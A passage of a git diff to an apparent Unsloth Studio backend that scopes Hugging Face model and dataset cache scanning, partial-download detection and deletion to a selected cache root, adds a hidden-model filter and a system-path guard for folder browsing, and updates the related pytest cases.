-        if not local_set or remote_blob not in local_set:
+        if not local_set:
             return True
+        if remote_blob in local_set:
+            continue
+        if _size_identity_matches(local_set, expected.size):
+            continue
+        return True
     return False
 
 
@@ -367,6 +416,7 @@ def delete_variant_incomplete_blobs_result(
     *,
     extra_hashes: frozenset[str] = frozenset(),
     companions: bool = True,
+    root: Optional[Path] = None,
 ) -> VariantIncompleteDeleteResult:
     # With a sibling still downloading, ``companions=False`` keeps a shared mmproj
     # from being unlinked out from under it; the repo's last delete reclaims it.
@@ -388,8 +438,9 @@ def delete_variant_incomplete_blobs_result(
         )
     deleted = 0
     # Destructive iterator: only the exact-case match (or abort if ambiguous),
-    # so a case-variant sibling repo's partials are never unlinked.
-    for entry in iter_destructive_repo_cache_dirs("model", repo_id):
+    # so a case-variant sibling repo's partials are never unlinked. ``root`` scopes
+    # the purge to one cache so a delete never touches another cache's partials.
+    for entry in iter_destructive_repo_cache_dirs("model", repo_id, root = root):
         blobs_dir = entry / "blobs"
         if not blobs_dir.is_dir():
             continue
@@ -404,15 +455,37 @@ def delete_variant_incomplete_blobs_result(
     return VariantIncompleteDeleteResult(deleted = deleted, unresolved = False)
 
 
+def _repo_cache_dir_for_request(repo_id: str, local_path: Optional[str]) -> Path:
+    """Resolve the one Hub repo cache represented by this variant request."""
+    expected_name = repo_cache_dir_name("model", repo_id).lower()
+    if local_path:
+        try:
+            local = Path(local_path).expanduser().resolve(strict = False)
+            for candidate in (local, *local.parents):
+                if candidate.name.lower() == expected_name:
+                    return candidate
+        except (OSError, RuntimeError, ValueError):
+            pass
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    return get_hf_cache_paths().hub_cache / repo_cache_dir_name("model", repo_id)
+
+
 def _mark_empty_dir_cleanables(
-    repo_id: str, response: GgufVariantsResponse
+    repo_id: str,
+    response: GgufVariantsResponse,
+    repo_cache_dir: Optional[Path] = None,
 ) -> GgufVariantsResponse:
     """Surface empty leftover ``<quant>/`` folders (interrupted downloads) as
     partial so the UI can delete them -- on local/offline paths too, not just a
     remote listing. A listed quant is flipped to partial; an unlisted one is
     appended as a zero-byte cleanable entry."""
     try:
-        empty_labels = list_empty_gguf_variant_dirs(repo_id)
+        empty_labels = (
+            list_empty_gguf_variant_dirs(repo_id, root = repo_cache_dir.parent)
+            if repo_cache_dir is not None
+            else list_empty_gguf_variant_dirs(repo_id)
+        )
     except Exception as e:
         logger.warning(f"Failed to scan empty GGUF variant folders for {repo_id}: {e}")
         return response
@@ -447,6 +520,11 @@ async def get_gguf_variants_response(
     """
 
     def _compute() -> GgufVariantsResponse:
+        repo_cache_dir = (
+            None if is_local_path(repo_id) else _repo_cache_dir_for_request(repo_id, local_path)
+        )
+        hub_cache = repo_cache_dir.parent if repo_cache_dir is not None else None
+
         def _local_response(
             response_repo_id: str, variants, has_vision: bool
         ) -> GgufVariantsResponse:
@@ -490,6 +568,7 @@ async def get_gguf_variants_response(
                         partial_transport = _partial_transport_for_variant(
                             response_repo_id,
                             v.quant,
+                            repo_cache_dir,
                         ),
                     )
                     for v in variants
@@ -511,7 +590,7 @@ async def get_gguf_variants_response(
 
         local_only = prefer_local_cache or offline
         if local_only:
-            cached = list_gguf_variants_from_hf_cache(repo_id)
+            cached = list_gguf_variants_from_hf_cache(repo_id, root = hub_cache)
             if cached is not None:
                 variants, has_vision = cached
                 return _local_response(repo_id, variants, has_vision)
@@ -519,7 +598,7 @@ async def get_gguf_variants_response(
                 variants, has_vision = list_local_gguf_variants(local_path)
                 if variants or has_vision:
                     return _local_response(repo_id, variants, has_vision)
-            partial = list_partial_gguf_variants_from_state(repo_id)
+            partial = list_partial_gguf_variants_from_state(repo_id, hub_cache = hub_cache)
             if partial is not None:
                 variants, has_vision = partial
                 return _partial_local_response(repo_id, variants, has_vision)
@@ -539,11 +618,11 @@ async def get_gguf_variants_response(
         try:
             variants, has_vision, siblings = list_gguf_variants(repo_id, hf_token = hf_token)
         except Exception:
-            cached = list_gguf_variants_from_hf_cache(repo_id)
+            cached = list_gguf_variants_from_hf_cache(repo_id, root = hub_cache)
             if cached is not None:
                 variants, has_vision = cached
                 return _local_response(repo_id, variants, has_vision)
-            partial = list_partial_gguf_variants_from_state(repo_id)
+            partial = list_partial_gguf_variants_from_state(repo_id, hub_cache = hub_cache)
             if partial is not None:
                 variants, has_vision = partial
                 return _partial_local_response(repo_id, variants, has_vision)
@@ -560,7 +639,7 @@ async def get_gguf_variants_response(
         cached_filenames_by_snapshot: list[dict[str, int]] = []
         cached_quant_bytes_by_snapshot: list[dict[str, int]] = []
         if _is_valid_repo_id(repo_id):
-            for snap in iter_hf_cache_snapshots(repo_id):
+            for snap in iter_hf_cache_snapshots(repo_id, root = hub_cache):
                 try:
                     gguf_paths = list(_iter_gguf_paths(snap))
                 except (OSError, RuntimeError, ValueError) as e:
@@ -673,11 +752,20 @@ async def get_gguf_variants_response(
         partial_quants: set[str] = set()
         partial_quant_transports: dict[str, Optional[str]] = {}
         try:
-            incomplete_hashes = download_registry.incomplete_blob_hashes("model", repo_id)
+            incomplete_hashes = download_registry.incomplete_blob_hashes(
+                "model",
+                repo_id,
+                active_only = True,
+                root = hub_cache,
+            )
         except Exception as e:
             logger.warning(f"Failed to compute partial GGUF variants for {repo_id}: {e}")
             incomplete_hashes = set()
-        scan_snapshot_dir = hf_cache_scan.resolve_snapshot_dir_for_scan("model", repo_id)
+        scan_snapshot_dir = hf_cache_scan.resolve_snapshot_dir_for_scan(
+            "model",
+            repo_id,
+            repo_cache_dir,
+        )
         # Manifest + marker + main incomplete-blob check: catches variants whose
         # download was cancelled or whose expected shards are missing/undersized.
         for variant in variants:
@@ -690,6 +778,7 @@ async def get_gguf_variants_response(
                         variant.quant,
                         hf_token,
                         include_companions = False,
+                        repo_cache_dir = repo_cache_dir,
                     )
                 if hf_cache_scan.is_variant_partial(
                     repo_id,
@@ -697,11 +786,13 @@ async def get_gguf_variants_response(
                     scan_snapshot_dir,
                     incomplete_blob_hashes = incomplete_hashes,
                     variant_blob_hashes = variant_hashes,
+                    repo_cache_dir = repo_cache_dir,
                 ):
                     partial_quants.add(variant.quant)
                     partial_quant_transports[variant.quant] = _partial_transport_for_variant(
                         repo_id,
                         variant.quant,
+                        repo_cache_dir,
                     )
             except Exception as e:
                 logger.warning(
@@ -723,10 +814,14 @@ async def get_gguf_variants_response(
                     partial_quants.add(variant.quant)
                     partial_quant_transports.setdefault(
                         variant.quant,
-                        _partial_transport_for_variant(repo_id, variant.quant),
+                        _partial_transport_for_variant(
+                            repo_id,
+                            variant.quant,
+                            repo_cache_dir,
+                        ),
                     )
 
-        local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id)
+        local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id, repo_cache_dir)
 
         def _variant_detail(v) -> GgufVariantDetail:
             is_partial = v.quant in partial_quants
@@ -769,14 +864,20 @@ async def get_gguf_variants_response(
             if skip:
                 raise
             enriched = _mark_empty_dir_cleanables(
-                repo_id, GgufVariantsResponse(repo_id = repo_id, variants = [])
+                repo_id,
+                GgufVariantsResponse(repo_id = repo_id, variants = []),
+                _repo_cache_dir_for_request(repo_id, local_path),
             )
             if enriched.variants:
                 return enriched
             raise
         if skip:
             return response
-        return _mark_empty_dir_cleanables(repo_id, response)
+        return _mark_empty_dir_cleanables(
+            repo_id,
+            response,
+            _repo_cache_dir_for_request(repo_id, local_path),
+        )
 
     try:
         return await asyncio.to_thread(_compute_with_cleanables)
diff --git a/studio/backend/hub/services/models/local_inventory.py b/studio/backend/hub/services/models/local_inventory.py
index a3782efead..9cf260b157 100644
--- a/studio/backend/hub/services/models/local_inventory.py
+++ b/studio/backend/hub/services/models/local_inventory.py
@@ -36,6 +36,7 @@ from hub.utils.paths import (
 )
 from hub.services.models import common as model_common
 from hub.services.models.ollama import scan_ollama_dir
+from utils.hidden_models import is_hidden_model
 
 logger = get_logger(__name__)
 _MAX_MODELS_PER_CUSTOM_FOLDER = 200
@@ -105,11 +106,8 @@ def _is_model_directory_for_scan(path: Path, *, entry_limit: int | None) -> bool
 
 
 def _resolve_hf_cache_dir() -> Path:
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-        return Path(HF_HUB_CACHE)
-    except Exception:
-        return Path.home() / ".cache" / "huggingface" / "hub"
+    from utils.hf_cache_settings import get_hf_cache_paths
+    return get_hf_cache_paths().hub_cache
 
 
 def _scan_models_dir(
@@ -201,7 +199,12 @@ def _hf_repo_dir_has_content(repo_dir: Path) -> bool:
     return False
 
 
-def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[LocalModelInfo]:
+def _scan_hf_cache(
+    cache_dir: Path,
+    *,
+    entry_limit: int | None = None,
+    active_cache: bool = True,
+) -> List[LocalModelInfo]:
     if not _safe_is_dir(cache_dir):
         return []
 
@@ -239,7 +242,10 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L
             repo_dir,
         )
         gguf_partial = hf_cache_scan.is_gguf_repo_partial(model_id, repo_dir)
-        has_gguf_variant_state, gguf_variant_state_size = _gguf_variant_state_summary(model_id)
+        has_gguf_variant_state, gguf_variant_state_size = _gguf_variant_state_summary(
+            model_id,
+            hub_cache = cache_dir,
+        )
         snapshot_partial_transport = (
             hf_cache_scan.partial_transport_for(
                 "model",
@@ -251,23 +257,25 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L
         )
         resolved = hf_cache_scan.resolve_hf_cache_realpath(repo_dir)
         scan_path = Path(resolved) if resolved else repo_dir
+        load_path = repo_dir if active_cache else scan_path
         # partial=False here; _apply_format_aware_partial below rewrites per-row
         # so a hybrid repo's gguf row doesn't taint its safetensors row.
         rows = _classify_local_path(
             scan_path,
             "hf_cache",
-            load_path = repo_dir,
+            load_path = load_path,
             display_name = model_id.split("/")[-1],
             model_id = model_id,
             updated_at = updated_at,
             partial = False,
+            active_cache = active_cache,
         )
         if not rows:
             if has_gguf_variant_state and gguf_partial:
                 rows = [
                     _local_model_info(
                         scan_path = repo_dir,
-                        load_path = repo_dir,
+                        load_path = load_path,
                         source = "hf_cache",
                         model_format = "gguf",
                         display_name = model_id.split("/")[-1],
@@ -276,6 +284,7 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L
                         partial = True,
                         requires_variant = True,
                         size_bytes = gguf_variant_state_size,
+                        active_cache = active_cache,
                     )
                 ]
             else:
@@ -284,13 +293,14 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L
                 rows = [
                     _local_model_info(
                         scan_path = repo_dir,
-                        load_path = repo_dir,
+                        load_path = load_path,
                         source = "hf_cache",
                         model_format = "unknown",
                         display_name = model_id.split("/")[-1],
                         model_id = model_id,
                         updated_at = updated_at,
                         partial = snapshot_partial or gguf_partial,
+                        active_cache = active_cache,
                     )
                 ]
         elif (
@@ -301,7 +311,7 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L
             rows.append(
                 _local_model_info(
                     scan_path = repo_dir,
-                    load_path = repo_dir,
+                    load_path = load_path,
                     source = "hf_cache",
                     model_format = "gguf",
                     display_name = model_id.split("/")[-1],
@@ -310,6 +320,7 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L
                     partial = True,
                     requires_variant = True,
                     size_bytes = gguf_variant_state_size,
+                    active_cache = active_cache,
                 )
             )
         rows = _apply_format_aware_partial(
@@ -514,14 +525,39 @@ async def _collect_models_from_default_sources(
     local_models += await _scan_source("HF cache", _scan_hf_cache, hf_cache_dir)
 
     if _safe_is_dir(legacy_hf) and legacy_hf.resolve() != hf_cache_dir.resolve():
-        local_models += await _scan_source("legacy HF cache", _scan_hf_cache, legacy_hf)
+        local_models += await _scan_source(
+            "legacy HF cache",
+            lambda path: _scan_hf_cache(path, active_cache = False),
+            legacy_hf,
+        )
 
     if (
         _safe_is_dir(hf_default)
         and hf_default.resolve() != hf_cache_dir.resolve()
         and hf_default.resolve() != legacy_hf.resolve()
     ):
-        local_models += await _scan_source("default HF cache", _scan_hf_cache, hf_default)
+        local_models += await _scan_source(
+            "default HF cache",
+            lambda path: _scan_hf_cache(path, active_cache = False),
+            hf_default,
+        )
+
+    from utils.hf_cache_settings import known_hf_hub_caches
+
+    seen_hf = {
+        os.path.normcase(str(path.resolve(strict = False)))
+        for path in (hf_cache_dir, legacy_hf, hf_default)
+    }
+    for previous_cache in known_hf_hub_caches():
+        key = os.path.normcase(str(previous_cache.resolve(strict = False)))
+        if key in seen_hf:
+            continue
+        seen_hf.add(key)
+        local_models += await _scan_source(
+            "previous HF cache",
+            lambda path: _scan_hf_cache(path, active_cache = False),
+            previous_cache,
+        )
 
     for lm_dir in lm_dirs:
         local_models += await _scan_source("LM Studio", _scan_lmstudio_dir, lm_dir)
@@ -542,7 +578,11 @@ def _scan_custom_folder(folder_path: Path) -> List[LocalModelInfo]:
                 limit = _MAX_MODELS_PER_CUSTOM_FOLDER,
                 entry_limit = _MAX_CUSTOM_FOLDER_ENTRIES,
             )
-            + _scan_hf_cache(folder_path, entry_limit = _MAX_CUSTOM_FOLDER_ENTRIES)
+            + _scan_hf_cache(
+                folder_path,
+                entry_limit = _MAX_CUSTOM_FOLDER_ENTRIES,
+                active_cache = False,
+            )
             + _scan_lmstudio_dir(folder_path, entry_limit = _MAX_CUSTOM_FOLDER_ENTRIES)
         )
         if m.model_format in supported_formats
@@ -609,12 +649,20 @@ def _dedupe_local_models(local_models: List[LocalModelInfo]) -> list[LocalModelI
             row_key = model.inventory_id or model.id
             key = f"{row_key}\x00custom" if model.source == "custom" else row_key
         existing = deduped.get(key)
-        if existing is None or _prefer_complete_larger(
-            model.partial,
-            model.size_bytes,
-            existing.partial,
-            existing.size_bytes,
-        ):
+        prefer_candidate = existing is None
+        if existing is not None:
+            if model.partial != existing.partial:
+                prefer_candidate = not model.partial
+            elif (model.active_cache is True) != (existing.active_cache is True):
+                prefer_candidate = model.active_cache is True
+            else:
+                prefer_candidate = _prefer_complete_larger(
+                    model.partial,
+                    model.size_bytes,
+                    existing.partial,
+                    existing.size_bytes,
+                )
+        if prefer_candidate:
             deduped[key] = model
     return sorted(
         deduped.values(),
@@ -623,6 +671,20 @@ def _dedupe_local_models(local_models: List[LocalModelInfo]) -> list[LocalModelI
     )
 
 
+def _filter_hidden_models(local_models: List[LocalModelInfo]) -> list[LocalModelInfo]:
+    """Remove infrastructure-only models from the shared local inventory."""
+    visible: list[LocalModelInfo] = []
+    for model in local_models:
+        resolved_cache_path = (
+            hf_cache_scan.resolve_hf_cache_realpath(Path(model.path))
+            if model.source == "hf_cache"
+            else None
+        )
+        if not is_hidden_model(model.id, model.model_id, model.path, resolved_cache_path):
+            visible.append(model)
+    return visible
+
+
 async def list_local_models_response(models_dir: str = "./models") -> LocalModelListResponse:
     """List local model candidates from every supported on-device source."""
     hf_cache_dir = _resolve_hf_cache_dir()
@@ -653,7 +715,7 @@ async def list_local_models_response(models_dir: str = "./models") -> LocalModel
             ollama_dirs,
         )
         local_models += await _collect_models_from_custom_folders()
-        models = _dedupe_local_models(local_models)
+        models = _dedupe_local_models(_filter_hidden_models(local_models))
 
         return LocalModelListResponse(
             models_dir = str(models_root),
diff --git a/studio/backend/hub/services/models/ollama.py b/studio/backend/hub/services/models/ollama.py
index 96a4114620..2ccdbb44f1 100644
--- a/studio/backend/hub/services/models/ollama.py
+++ b/studio/backend/hub/services/models/ollama.py
@@ -85,7 +85,7 @@ def _contained_link_path(link_dir: Path, link_name: str) -> Optional[Path]:
 
 
 def _ollama_links_dir(ollama_dir: Path) -> Optional[Path]:
-    """Writable directory for Ollama ``.gguf`` symlinks. Prefers ``<ollama_dir>/.studio_links/`` next to the blobs; falls back to Studio's cache (read-only system installs), then the temp dir (sandboxed installs)."""
+    """Writable directory for Ollama ``.gguf`` symlinks. Prefers ``<ollama_dir>/.studio_links/`` next to the blobs; falls back to Unsloth's cache (read-only system installs), then the temp dir (sandboxed installs)."""
 
     def _ensure_writable_dir(path: Path) -> Optional[Path]:
         try:
diff --git a/studio/backend/hub/services/snapshot_progress.py b/studio/backend/hub/services/snapshot_progress.py
index 9c8bc9a891..c3db6fed7a 100644
--- a/studio/backend/hub/services/snapshot_progress.py
+++ b/studio/backend/hub/services/snapshot_progress.py
@@ -12,6 +12,7 @@ summing stale blobs against the wrong total)."""
 from __future__ import annotations
 
 import asyncio
+import threading
 from pathlib import Path
 from typing import Callable, Optional
 
@@ -34,6 +35,28 @@ logger = get_logger(__name__)
 # (repo_id, hf_token) -> (expected_total_bytes, expected_blob_hashes)
 SnapshotMetadataResolver = Callable[[str, Optional[str]], "tuple[int, frozenset[str]]"]
 
+# One progress log per 10% step per job, so an active download reports progress
+# without emitting a line on every poll.
+_progress_step_lock = threading.Lock()
+_last_progress_step: dict[str, int] = {}
+
+
+def _log_progress_step(job_key: str, repo_id: str, variant: Optional[str], progress: float) -> None:
+    step = int(progress * 10)
+    with _progress_step_lock:
+        last = _last_progress_step.get(job_key, -1)
+        if step == last:
+            return
+        _last_progress_step[job_key] = step
+        if step < last:
+            return  # download restarted; resync without logging
+    logger.info(
+        "hub_download_progress",
+        repo_id = repo_id,
+        variant = variant or "",
+        percent = step * 10,
+    )
+
 
 def _empty_progress(expected_bytes: int) -> dict:
     return {
@@ -63,9 +86,20 @@ def _snapshot_complete_on_disk(
         return False
     if variant is None and hf_cache_scan.repo_cache_dir_has_incomplete_blobs(entry):
         return False
-    if download_manifest.has_cancel_marker(repo_type, repo_id, variant):
+    hub_cache = entry.parent
+    if download_manifest.has_cancel_marker(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = hub_cache,
+    ):
         return False
-    manifest = download_manifest.read_manifest(repo_type, repo_id, variant)
+    manifest = download_manifest.read_manifest(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = hub_cache,
+    )
     if manifest is None:
         return False
     return download_manifest.verify_against_disk(manifest, snapshot_dir).ok
@@ -95,6 +129,8 @@ def compute_snapshot_progress(
         0,
         int(getattr(metadata, "completed_baseline_bytes", 0) or 0),
     )
+    metadata_hub_cache = getattr(metadata, "hub_cache", None)
+    active_root = Path(metadata_hub_cache) if metadata_hub_cache else None
 
     expected_total = max(expected_bytes, 0)
     # Always resolve the revision's blob hashes so stale blobs from a superseded
@@ -111,11 +147,17 @@ def compute_snapshot_progress(
     count_finalized_unscoped = variant is None
 
     readings: list[tuple[int, int, Optional[str], bool]] = []
-    for entry in preferred_repo_cache_dirs(
-        repo_type,
-        repo_id,
-        force_active = force_active,
-    ):
+    cache_dirs = (
+        preferred_repo_cache_dirs(
+            repo_type,
+            repo_id,
+            force_active = force_active,
+            active_root = active_root,
+        )
+        if active_root is not None
+        else preferred_repo_cache_dirs(repo_type, repo_id, force_active = force_active)
+    )
+    for entry in cache_dirs:
         completed_bytes = 0
         in_progress_bytes = 0
         cache_path = hf_cache_scan.resolve_hf_cache_realpath(entry)
@@ -215,6 +257,8 @@ def compute_snapshot_progress(
             else 0
         )
     )
+    if force_active:
+        _log_progress_step(job_key, repo_id, variant, progress)
     return {
         "downloaded_bytes": display_downloaded_bytes,
         "completed_bytes": display_completed_bytes,
diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py
index fdb15c7c3c..81623d2759 100644
--- a/studio/backend/hub/storage/scan_folders.py
+++ b/studio/backend/hub/storage/scan_folders.py
@@ -16,7 +16,7 @@ from datetime import datetime, timezone
 
 from storage.studio_db import get_connection
 from hub.utils.paths import normalize_path
-from utils.paths.external_media import is_linux_run_media_path
+from utils.paths.external_media import is_linux_run_media_path, is_local_filesystem_root
 from utils.paths.sensitive import (
     contains_sensitive_path_component as _shared_contains_sensitive_path_component,
 )
@@ -52,6 +52,25 @@ def _denied_path_prefixes() -> list[str]:
     return []
 
 
+def is_denied_system_path(path: str) -> bool:
+    """True if *path* is, or descends from, a denied system directory.
+
+    Mirrors the denylist add_scan_folder() enforces at registration so the
+    browser refuses /etc, /proc, C:\\Windows, etc. even when the allowlist holds
+    a broad root (a Windows drive root C:\\ or a legacy-registered / root). The
+    /run carve-out keeps Linux removable-media mounts browseable. Expects an
+    already-resolved (realpath) path so symlinks cannot escape into a denied subtree.
+    """
+    is_win = platform.system() == "Windows"
+    check = os.path.normcase(path) if is_win else path
+    for prefix in _denied_path_prefixes():
+        if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
+            return True
+    return False
+
+
 def _contains_sensitive_path_component(path: str) -> bool:
     return _shared_contains_sensitive_path_component(path)
 
@@ -108,8 +127,9 @@ def add_scan_folder(path: str) -> dict:
         raise ValueError("Path must be a directory, not a file")
     if not os.access(normalized, os.R_OK | os.X_OK):
         raise ValueError("Path is not readable")
-    if os.path.dirname(normalized) == normalized:
-        # Registering a filesystem root would expose denied system dirs via browse.
+    if is_local_filesystem_root(normalized):
+        # A local fs root ("/", "C:\\") would expose denied system dirs via browse;
+        # a UNC share root (\\server\share) has none under it and stays registerable.
         raise ValueError("The filesystem root cannot be registered")
     if _contains_sensitive_path_component(normalized):
         raise ValueError("Credential or configuration directories are not allowed")
diff --git a/studio/backend/hub/tests/test_dataset_services.py b/studio/backend/hub/tests/test_dataset_services.py
index 4890714cd0..6aab07cc46 100644
--- a/studio/backend/hub/tests/test_dataset_services.py
+++ b/studio/backend/hub/tests/test_dataset_services.py
@@ -72,57 +72,115 @@ def test_dataset_cache_scan_merges_raw_and_processed_rows(monkeypatch):
     assert rows[0]["partial"] is False
 
 
-def test_delete_cached_dataset_attempts_all_roots_before_raising(monkeypatch):
+def test_delete_cached_dataset_scopes_delete_to_selected_root(monkeypatch, tmp_path):
+    """A dataset present in the active cache and a previously selected cache is
+    deleted only from the selected root, so the other cache's copy survives."""
     calls = []
-    purged_state = []
+    target_hub = tmp_path / "active" / "hub"
+    other_hub = tmp_path / "previous" / "hub"
+    for hub in (target_hub, other_hub):
+        (hub / "datasets--Org--Data").mkdir(parents = True)
 
     class _DeleteStrategy:
-        def __init__(self, label: str, fail: bool):
+        def __init__(self, label: str):
             self.label = label
-            self.fail = fail
 
         def execute(self):
             calls.append(self.label)
-            if self.fail:
-                raise RuntimeError(f"{self.label} failed")
 
-    class _Cache:
-        def __init__(self, label: str, fail: bool):
-            self.cache_dir = label
-            self.repos = [
+    def _cache(label: str, hub):
+        return SimpleNamespace(
+            cache_dir = label,
+            repos = [
                 SimpleNamespace(
                     repo_type = "dataset",
                     repo_id = "Org/Data",
+                    repo_path = str(hub / "datasets--Org--Data"),
                     revisions = [SimpleNamespace(commit_hash = f"{label}-rev")],
                 )
-            ]
-            self.fail = fail
-
-        def delete_revisions(self, *_revisions):
-            return _DeleteStrategy(self.cache_dir, self.fail)
+            ],
+            delete_revisions = lambda *_revs, _label = label: _DeleteStrategy(_label),
+        )
 
     monkeypatch.setattr(
         cache_inventory,
         "_collect_hf_cache_scans",
-        lambda: ([_Cache("first", True), _Cache("second", False)], set()),
+        lambda: ([_cache("active", target_hub), _cache("previous", other_hub)], set()),
     )
     monkeypatch.setattr(
         cache_inventory,
         "_delete_processed_dataset_cache",
-        lambda _repo_id: (True, []),
+        lambda _repo_id, **_kwargs: (False, []),
     )
     monkeypatch.setattr(
         cache_inventory.download_manifest,
         "purge_all_state_for_repo",
-        lambda *_args: purged_state.append(True) or 1,
+        lambda *_args, **_kwargs: 0,
+    )
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = target_hub),
+    )
+    monkeypatch.setattr(
+        "hub.utils.hf_cache_state.hf_cache_roots",
+        lambda: [target_hub, other_hub],
     )
 
-    with pytest.raises(HTTPException) as exc_info:
-        cache_inventory._delete_cached_dataset_blocking("Org/Data")
+    result = cache_inventory._delete_cached_dataset_blocking("Org/Data")
 
-    assert exc_info.value.status_code == 500
-    assert calls == ["first", "second"]
-    assert purged_state == []
+    assert result == {"status": "deleted", "repo_id": "Org/Data"}
+    # Only the selected (active) cache's revision is deleted; the previous
+    # cache's copy is never touched.
+    assert calls == ["active"]
+    assert not (target_hub / "datasets--Org--Data").exists()
+    assert (other_hub / "datasets--Org--Data").exists()
+
+
+def test_delete_processed_only_dataset_accepts_processed_cache_path(monkeypatch, tmp_path):
+    """A processed-only dataset row sends its Arrow cache path (<owner>___<repo>
+    under HF_DATASETS_CACHE), which is not a Hub datasets-- dir. The delete must
+    accept it and run the processed-cache delete instead of raising 400."""
+    datasets_root = tmp_path / "datasets"
+    processed_dir = datasets_root / "Org___Data"
+    processed_dir.mkdir(parents = True)
+
+    # No Hub-cache copy exists; only the processed Arrow cache holds this repo.
+    monkeypatch.setattr(cache_inventory, "_collect_hf_cache_scans", lambda: ([], set()))
+    monkeypatch.setattr(cache_inventory, "_hf_datasets_cache_roots", lambda: [datasets_root])
+    processed_calls: list[str] = []
+    monkeypatch.setattr(
+        cache_inventory,
+        "_delete_processed_dataset_cache",
+        lambda repo_id, **_kwargs: (processed_calls.append(repo_id) or True, []),
+    )
+
+    result = cache_inventory._delete_cached_dataset_blocking("Org/Data", str(processed_dir))
+
+    assert result == {"status": "deleted", "repo_id": "Org/Data"}
+    assert processed_calls == ["Org/Data"]
+
+
+def test_delete_processed_dataset_scopes_to_selected_root(monkeypatch, tmp_path):
+    """A dataset processed under two HF_DATASETS_CACHE roots is deleted only from
+    the selected root; the copy under the other cache home survives (real delete,
+    not stubbed)."""
+    selected_root = tmp_path / "selected" / "datasets"
+    other_root = tmp_path / "other" / "datasets"
+    for root in (selected_root, other_root):
+        (root / "Org___Data").mkdir(parents = True)
+
+    monkeypatch.setattr(cache_inventory, "_collect_hf_cache_scans", lambda: ([], set()))
+    monkeypatch.setattr(
+        cache_inventory, "_hf_datasets_cache_roots", lambda: [selected_root, other_root]
+    )
+
+    result = cache_inventory._delete_cached_dataset_blocking(
+        "Org/Data", str(selected_root / "Org___Data")
+    )
+
+    assert result == {"status": "deleted", "repo_id": "Org/Data"}
+    assert not (selected_root / "Org___Data").exists()  # the selected copy is deleted
+    assert (other_root / "Org___Data").exists()  # the other cache home is untouched
 
 
 def test_delete_cached_dataset_purges_blob_only_repo_dir(monkeypatch):
@@ -139,22 +197,22 @@ def test_delete_cached_dataset_purges_blob_only_repo_dir(monkeypatch):
     monkeypatch.setattr(
         cache_inventory,
         "_delete_processed_dataset_cache",
-        lambda _repo_id: (False, []),
+        lambda _repo_id, **_kwargs: (False, []),
     )
     monkeypatch.setattr(
         cache_inventory,
         "purge_repo_cache_dirs",
-        lambda _repo_type, repo_id: purged_dirs.append(repo_id) or True,
+        lambda _repo_type, repo_id, **_kwargs: purged_dirs.append(repo_id) or True,
     )
     monkeypatch.setattr(
         cache_inventory,
         "purge_partial_repo",
-        lambda *_args: False,
+        lambda *_args, **_kwargs: False,
     )
     monkeypatch.setattr(
         cache_inventory.download_manifest,
         "purge_all_state_for_repo",
-        lambda *_args: 0,
+        lambda *_args, **_kwargs: 0,
     )
 
     result = cache_inventory._delete_cached_dataset_blocking("Org/Data")
@@ -172,22 +230,22 @@ def test_delete_cached_dataset_absent_everywhere_raises_404(monkeypatch):
     monkeypatch.setattr(
         cache_inventory,
         "_delete_processed_dataset_cache",
-        lambda _repo_id: (False, []),
+        lambda _repo_id, **_kwargs: (False, []),
     )
     monkeypatch.setattr(
         cache_inventory,
         "purge_repo_cache_dirs",
-        lambda *_args: False,
+        lambda *_args, **_kwargs: False,
     )
     monkeypatch.setattr(
         cache_inventory,
         "purge_partial_repo",
-        lambda *_args: False,
+        lambda *_args, **_kwargs: False,
     )
     monkeypatch.setattr(
         cache_inventory.download_manifest,
         "purge_all_state_for_repo",
-        lambda *_args: 0,
+        lambda *_args, **_kwargs: 0,
     )
 
     with pytest.raises(HTTPException) as exc_info:
diff --git a/studio/backend/hub/tests/test_download_lifecycle.py b/studio/backend/hub/tests/test_download_lifecycle.py
index a4baafa317..87346573b0 100644
--- a/studio/backend/hub/tests/test_download_lifecycle.py
+++ b/studio/backend/hub/tests/test_download_lifecycle.py
@@ -1,27 +1,147 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import io
+import logging
+
 from hub.services import download_lifecycle
+from hub.utils import download_registry, state_dir
 
 
-def _set_xet_reason(monkeypatch, reason):
+class _Proc:
+    pid = 4242
+
+    def __init__(
+        self,
+        rc,
+        stderr = b"",
+    ):
+        self.rc = rc
+        self.stderr = io.BytesIO(stderr)
+        self.waited = False
+
+    def poll(self):
+        return self.rc if self.waited else None
+
+    def wait(self, timeout = None):
+        self.waited = True
+        return self.rc
+
+    def kill(self):
+        pass
+
+
+class _ImmediateThread:
+    def __init__(self, *, target, **_kwargs):
+        self.target = target
+
+    def start(self):
+        self.target()
+
+
+def test_resolve_effective_use_xet(monkeypatch):
+    for requested, unavailable_reason, expected in (
+        (False, "unused", False),
+        (True, None, True),
+        (True, "hf_xet is not installed", False),
+    ):
+        monkeypatch.setattr(
+            download_lifecycle.download_registry,
+            "download_transport_unavailable_reason",
+            lambda _transport, reason = unavailable_reason: reason,
+        )
+        assert download_lifecycle.resolve_effective_use_xet(requested) is expected
+
+
+def test_xet_failure_retries_over_http_for_model_and_dataset(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    monkeypatch.setattr(download_lifecycle.threading, "Thread", _ImmediateThread)
+    register_worker = download_lifecycle.register_worker
+
+    for repo_type, repo_id, variant, expected_args in (
